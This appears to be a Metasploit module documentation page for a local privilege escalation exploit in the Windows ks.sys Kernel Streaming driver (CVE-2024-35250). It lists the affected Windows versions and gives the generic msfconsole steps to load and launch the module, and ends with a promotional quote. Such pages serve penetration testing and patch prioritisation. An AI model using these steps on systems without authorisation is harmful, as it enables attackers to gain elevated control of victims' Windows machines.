The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists a LPE in this driver which can be exploited on many recent versions of Windows 10, Windows 11, Windows Server 2022.
Windows
x64
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/local/cve_2024_35250_ks_driver
msf exploit(cve_2024_35250_ks_driver) > show targets
...targets...
msf exploit(cve_2024_35250_ks_driver) > set TARGET < target-id >
msf exploit(cve_2024_35250_ks_driver) > show options
...show and set options...
msf exploit(cve_2024_35250_ks_driver) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security